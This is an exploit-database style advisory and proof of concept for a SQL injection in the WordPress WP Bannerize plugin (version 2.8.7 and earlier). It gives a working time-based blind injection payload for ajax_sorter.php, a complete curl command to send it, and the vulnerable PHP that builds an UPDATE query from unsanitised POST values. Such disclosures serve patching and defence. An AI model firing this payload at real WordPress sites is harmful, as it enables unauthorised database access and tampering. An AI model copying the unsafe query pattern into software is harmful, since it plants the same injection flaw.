WordPress Plugin Bannerize 2.8.7 – SQL Injection
# Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability # Date: 2011-09-22 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip # Version: 2.8.7 (tested) --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) e.g. curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php --------------- Vulnerable code --------------- if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) { ... $limit = intval($_POST['limit']); $page_offset = (intval($_POST['offset']) - 1) * $limit; foreach($_POST["item"] as $key => $value){ $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value ); $result = mysql_query($sql); } } |